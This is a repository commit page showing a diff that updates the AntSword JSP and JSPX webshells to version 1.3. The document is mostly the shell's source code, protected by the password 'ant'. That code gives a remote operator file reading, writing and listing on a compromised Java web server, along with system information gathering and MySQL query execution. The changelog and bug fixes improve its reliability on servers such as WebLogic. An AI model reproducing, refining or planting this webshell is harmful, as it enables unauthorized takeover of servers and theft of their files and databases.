Commit 6ad3731f authored by Medicean's avatar Medicean

update jsp jspx shell to v1.3

parent 85ac784a
...@@ -21,9 +21,13 @@ ...@@ -21,9 +21,13 @@
注意:以上是两行 注意:以上是两行
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
已知问题:
1. 文件管理遇到中文文件名显示的问题
ChangeLog: ChangeLog:
v1.3 v1.3
1. 修正上传文件超过1M时的bug 1. 修正上传文件超过1M时的bug
2. 修正weblogic war 包布署获取路径问题
3. 修正文件中文字符问题
Date: 2016/04/29 v1.2 Date: 2016/04/29 v1.2
1. 修正修改包含结束tag的文件会出错的 bug 1. 修正修改包含结束tag的文件会出错的 bug
Date: 2016/04/06 v1.1 Date: 2016/04/06 v1.1
...@@ -34,28 +38,31 @@ ChangeLog: ...@@ -34,28 +38,31 @@ ChangeLog:
2. mysql 数据库支持 2. mysql 数据库支持
3. 支持 base64 和 hex 编码 3. 支持 base64 和 hex 编码
--%> --%>
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%> <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*" contentType="text/html;charset=UTF-8"%>
<%! <%!
// ################################################
String Pwd = "ant"; //连接密码 String Pwd = "ant"; //连接密码
// 数据编码 3 选 1 // 数据编码 3 选 1
String encoder = ""; // default String encoder = ""; // default
// String encoder = "base64"; //base64 // String encoder = "base64"; //base64
// String encoder = "hex"; //hex // String encoder = "hex"; //hex(推荐)
String cs = "UTF-8"; // 脚本自身编码 String cs = "UTF-8"; // 编码方式
// ################################################
String EC(String s) throws Exception { String EC(String s) throws Exception {
if(encoder.equals("hex") || encoder == "hex") return s; if(encoder.equals("hex") || encoder == "hex") return s;
return new String(s.getBytes("ISO-8859-1"), cs); return new String(s.getBytes(), cs);
} }
String showDatabases(String encode, String conn) throws Exception { String showDatabases(String encode, String conn) throws Exception {
String sql = "show databases"; // mysql String sql = "show databases";
String columnsep = "\t"; String columnsep = "\t";
String rowsep = ""; String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false); return executeSQL(encode, conn, sql, columnsep, rowsep, false);
} }
String showTables(String encode, String conn, String dbname) throws Exception { String showTables(String encode, String conn, String dbname) throws Exception {
String sql = "show tables from " + dbname; // mysql String sql = "show tables from " + dbname;
String columnsep = "\t"; String columnsep = "\t";
String rowsep = ""; String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false); return executeSQL(encode, conn, sql, columnsep, rowsep, false);
...@@ -64,12 +71,12 @@ ChangeLog: ...@@ -64,12 +71,12 @@ ChangeLog:
String showColumns(String encode, String conn, String dbname, String table) throws Exception { String showColumns(String encode, String conn, String dbname, String table) throws Exception {
String columnsep = "\t"; String columnsep = "\t";
String rowsep = ""; String rowsep = "";
String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql String sql = "select * from " + dbname + "." + table + " limit 0,0";
return executeSQL(encode, conn, sql, columnsep, rowsep, true); return executeSQL(encode, conn, sql, columnsep, rowsep, true);
} }
String query(String encode, String conn, String sql) throws Exception { String query(String encode, String conn, String sql) throws Exception {
String columnsep = "\t|\t"; // general String columnsep = "\t|\t";
String rowsep = "\r\n"; String rowsep = "\r\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true); return executeSQL(encode, conn, sql, columnsep, rowsep, true);
} }
...@@ -105,7 +112,7 @@ ChangeLog: ...@@ -105,7 +112,7 @@ ChangeLog:
} }
String WwwRootPathCode(HttpServletRequest r) throws Exception { String WwwRootPathCode(HttpServletRequest r) throws Exception {
String d = r.getSession().getServletContext().getRealPath("/"); String d = this.getClass().getResource("/").getPath();
String s = ""; String s = "";
if (!d.substring(0, 1).equals("/")) { if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots(); File[] roots = File.listRoots();
...@@ -122,24 +129,27 @@ ChangeLog: ...@@ -122,24 +129,27 @@ ChangeLog:
File oF = new File(dirPath), l[] = oF.listFiles(); File oF = new File(dirPath), l[] = oF.listFiles();
String s = "", sT, sQ, sF = ""; String s = "", sT, sQ, sF = "";
java.util.Date dt; java.util.Date dt;
String fileCode=(String)System.getProperties().get("file.encoding");
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) { for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified()); dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt); sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : ""; sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : ""; sQ += l[i].canWrite() ? " W" : "";
String nm = new String(l[i].getName().getBytes(fileCode), cs);
if (l[i].isDirectory()) { if (l[i].isDirectory()) {
s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; s += nm + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} else { } else {
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; sF += nm + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} }
} }
return s += sF; s += sF;
return new String(s.getBytes(fileCode), cs);
} }
String ReadFileCode(String filePath) throws Exception { String ReadFileCode(String filePath) throws Exception {
String l = "", s = ""; String l = "", s = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)))); BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)), cs));
while ((l = br.readLine()) != null) { while ((l = br.readLine()) != null) {
s += l + "\r\n"; s += l + "\r\n";
} }
...@@ -148,9 +158,14 @@ ChangeLog: ...@@ -148,9 +158,14 @@ ChangeLog:
} }
String WriteFileCode(String filePath, String fileContext) throws Exception { String WriteFileCode(String filePath, String fileContext) throws Exception {
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath)))); String h = "0123456789ABCDEF";
bw.write(fileContext); String fileHexContext = strtohexstr(fileContext);
bw.close(); File f = new File(filePath);
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1"; return "1";
} }
...@@ -256,16 +271,27 @@ ChangeLog: ...@@ -256,16 +271,27 @@ ChangeLog:
} }
String SysInfoCode(HttpServletRequest r) throws Exception { String SysInfoCode(HttpServletRequest r) throws Exception {
String d = r.getSession().getServletContext().getRealPath("/"); String d = "";
String serverInfo = System.getProperty("os.name"); try {
if(r.getSession().getServletContext().getRealPath("/") != null){
d = r.getSession().getServletContext().getRealPath("/");
}else{
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
} catch (Exception e) {
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator; String separator = File.separator;
String user = System.getProperty("user.name"); String user = (String)System.getProperty("user.name");
String driverlist = WwwRootPathCode(r); String driverlist = WwwRootPathCode(r);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
} }
boolean isWin() { boolean isWin() {
String osname = System.getProperty("os.name"); String osname = (String)System.getProperty("os.name");
osname = osname.toLowerCase(); osname = osname.toLowerCase();
if (osname.startsWith("win")) if (osname.startsWith("win"))
return true; return true;
...@@ -281,6 +307,41 @@ ChangeLog: ...@@ -281,6 +307,41 @@ ChangeLog:
return sb.toString(); return sb.toString();
} }
String getEncoding(String str) {
String encode[] = new String[]{
"UTF-8",
"ISO-8859-1",
"GB2312",
"GBK",
"GB18030",
"Big5",
"Unicode",
"ASCII"
};
for (int i = 0; i < encode.length; i++){
try {
if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {
return encode[i];
}
} catch (Exception ex) {
}
}
return "";
}
String strtohexstr(String fileContext)throws Exception{
String h = "0123456789ABCDEF";
byte[] bytes = fileContext.getBytes(cs);
StringBuilder sb = new StringBuilder(bytes.length * 2);
for (int i = 0; i < bytes.length; i++) {
sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
}
String fileHexContext = sb.toString();
return fileHexContext;
}
String decode(String str) { String decode(String str) {
byte[] bt = null; byte[] bt = null;
try { try {
...@@ -291,40 +352,32 @@ ChangeLog: ...@@ -291,40 +352,32 @@ ChangeLog:
} }
return new String(bt); return new String(bt);
} }
String decode(String str, String encode){ String decode(String str, String encode) throws Exception{
if(encode.equals("hex") || encode=="hex"){ if(encode.equals("hex") || encode=="hex"){
if(str=="null"||str.equals("null")){ if(str=="null"||str.equals("null")){
return ""; return "";
} }
StringBuilder sb = new StringBuilder(); String hexString = "0123456789ABCDEF";
StringBuilder temp = new StringBuilder(); str = str.toUpperCase();
try{ ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
for(int i=0; i<str.length()-1; i+=2 ){ String ss = "";
String output = str.substring(i, (i + 2)); for (int i = 0; i < str.length(); i += 2){
int decimal = Integer.parseInt(output, 16); ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
sb.append((char)decimal); baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
temp.append(decimal);
} }
}catch(Exception e){ return baos.toString(cs);
e.printStackTrace();
}
return sb.toString();
}else if(encode.equals("base64") || encode == "base64"){ }else if(encode.equals("base64") || encode == "base64"){
byte[] bt = null; byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str); bt = decoder.decodeBuffer(str);
} catch (IOException e) { return new String(bt,cs);
e.printStackTrace();
}
return new String(bt);
} }
return str; return str;
} }
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception { void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l; String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is)); BufferedReader br = new BufferedReader(new InputStreamReader(is, cs));
while ((l = br.readLine()) != null) { while ((l = br.readLine()) != null) {
sb.append(l + "\r\n"); sb.append(l + "\r\n");
} }
...@@ -332,6 +385,7 @@ ChangeLog: ...@@ -332,6 +385,7 @@ ChangeLog:
}%> }%>
<% <%
response.setContentType("text/html"); response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs); response.setCharacterEncoding(cs);
StringBuffer sb = new StringBuffer(""); StringBuffer sb = new StringBuffer("");
try { try {
......
...@@ -21,6 +21,7 @@ ...@@ -21,6 +21,7 @@
注意:以上是两行 注意:以上是两行
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
Ver:1.3
--> -->
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2"> <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /> <jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
...@@ -31,15 +32,18 @@ ...@@ -31,15 +32,18 @@
<jsp:directive.page import="java.text.*"/> <jsp:directive.page import="java.text.*"/>
<jsp:declaration> <jsp:declaration>
<![CDATA[ <![CDATA[
// ################################################
String Pwd = "ant"; //连接密码 String Pwd = "ant"; //连接密码
// 数据编码 3 选 1 // 数据编码 3 选 1
String encoder = ""; // default String encoder = ""; // default
// String encoder = "base64"; //base64 // String encoder = "base64"; //base64
// String encoder = "hex"; //hex // String encoder = "hex"; //hex(推荐)
String cs = "UTF-8"; // 脚本自身编码 String cs = "UTF-8"; // 编码方式
// ################################################
String EC(String s) throws Exception { String EC(String s) throws Exception {
if(encoder.equals("hex") || encoder == "hex") return s; if(encoder.equals("hex") || encoder == "hex") return s;
return new String(s.getBytes("ISO-8859-1"), cs); return new String(s.getBytes(), cs);
} }
String showDatabases(String encode, String conn) throws Exception { String showDatabases(String encode, String conn) throws Exception {
...@@ -100,7 +104,7 @@ ...@@ -100,7 +104,7 @@
} }
String WwwRootPathCode(HttpServletRequest r) throws Exception { String WwwRootPathCode(HttpServletRequest r) throws Exception {
String d = r.getSession().getServletContext().getRealPath("/"); String d = this.getClass().getResource("/").getPath();
String s = ""; String s = "";
if (!d.substring(0, 1).equals("/")) { if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots(); File[] roots = File.listRoots();
...@@ -117,24 +121,27 @@ ...@@ -117,24 +121,27 @@
File oF = new File(dirPath), l[] = oF.listFiles(); File oF = new File(dirPath), l[] = oF.listFiles();
String s = "", sT, sQ, sF = ""; String s = "", sT, sQ, sF = "";
java.util.Date dt; java.util.Date dt;
String fileCode=(String)System.getProperties().get("file.encoding");
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) { for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified()); dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt); sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : ""; sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : ""; sQ += l[i].canWrite() ? " W" : "";
String nm = new String(l[i].getName().getBytes(fileCode), cs);
if (l[i].isDirectory()) { if (l[i].isDirectory()) {
s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; s += nm + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} else { } else {
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; sF += nm + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} }
} }
return s += sF; s += sF;
return new String(s.getBytes(fileCode), cs);
} }
String ReadFileCode(String filePath) throws Exception { String ReadFileCode(String filePath) throws Exception {
String l = "", s = ""; String l = "", s = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)))); BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)), cs));
while ((l = br.readLine()) != null) { while ((l = br.readLine()) != null) {
s += l + "\r\n"; s += l + "\r\n";
} }
...@@ -143,9 +150,14 @@ ...@@ -143,9 +150,14 @@
} }
String WriteFileCode(String filePath, String fileContext) throws Exception { String WriteFileCode(String filePath, String fileContext) throws Exception {
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath)))); String h = "0123456789ABCDEF";
bw.write(fileContext); String fileHexContext = strtohexstr(fileContext);
bw.close(); File f = new File(filePath);
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1"; return "1";
} }
...@@ -251,16 +263,27 @@ ...@@ -251,16 +263,27 @@
} }
String SysInfoCode(HttpServletRequest r) throws Exception { String SysInfoCode(HttpServletRequest r) throws Exception {
String d = r.getSession().getServletContext().getRealPath("/"); String d = "";
String serverInfo = System.getProperty("os.name"); try {
if(r.getSession().getServletContext().getRealPath("/") != null){
d = r.getSession().getServletContext().getRealPath("/");
}else{
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
} catch (Exception e) {
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator; String separator = File.separator;
String user = System.getProperty("user.name"); String user = (String)System.getProperty("user.name");
String driverlist = WwwRootPathCode(r); String driverlist = WwwRootPathCode(r);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
} }
boolean isWin() { boolean isWin() {
String osname = System.getProperty("os.name"); String osname = (String)System.getProperty("os.name");
osname = osname.toLowerCase(); osname = osname.toLowerCase();
if (osname.startsWith("win")) if (osname.startsWith("win"))
return true; return true;
...@@ -276,6 +299,41 @@ ...@@ -276,6 +299,41 @@
return sb.toString(); return sb.toString();
} }
String getEncoding(String str) {
String encode[] = new String[]{
"UTF-8",
"ISO-8859-1",
"GB2312",
"GBK",
"GB18030",
"Big5",
"Unicode",
"ASCII"
};
for (int i = 0; i < encode.length; i++){
try {
if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {
return encode[i];
}
} catch (Exception ex) {
}
}
return "";
}
String strtohexstr(String fileContext)throws Exception{
String h = "0123456789ABCDEF";
byte[] bytes = fileContext.getBytes(cs);
StringBuilder sb = new StringBuilder(bytes.length * 2);
for (int i = 0; i < bytes.length; i++) {
sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
}
String fileHexContext = sb.toString();
return fileHexContext;
}
String decode(String str) { String decode(String str) {
byte[] bt = null; byte[] bt = null;
try { try {
...@@ -286,40 +344,32 @@ ...@@ -286,40 +344,32 @@
} }
return new String(bt); return new String(bt);
} }
String decode(String str, String encode){ String decode(String str, String encode) throws Exception{
if(encode.equals("hex") || encode=="hex"){ if(encode.equals("hex") || encode=="hex"){
if(str=="null"||str.equals("null")){ if(str=="null"||str.equals("null")){
return ""; return "";
} }
StringBuilder sb = new StringBuilder(); String hexString = "0123456789ABCDEF";
StringBuilder temp = new StringBuilder(); str = str.toUpperCase();
try{ ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
for(int i=0; i<str.length()-1; i+=2 ){ String ss = "";
String output = str.substring(i, (i + 2)); for (int i = 0; i < str.length(); i += 2){
int decimal = Integer.parseInt(output, 16); ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
sb.append((char)decimal); baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
temp.append(decimal);
} }
}catch(Exception e){ return baos.toString(cs);
e.printStackTrace();
}
return sb.toString();
}else if(encode.equals("base64") || encode == "base64"){ }else if(encode.equals("base64") || encode == "base64"){
byte[] bt = null; byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str); bt = decoder.decodeBuffer(str);
} catch (IOException e) { return new String(bt,cs);
e.printStackTrace();
}
return new String(bt);
} }
return str; return str;
} }
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception { void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l; String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is)); BufferedReader br = new BufferedReader(new InputStreamReader(is, cs));
while ((l = br.readLine()) != null) { while ((l = br.readLine()) != null) {
sb.append(l + "\r\n"); sb.append(l + "\r\n");
} }
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment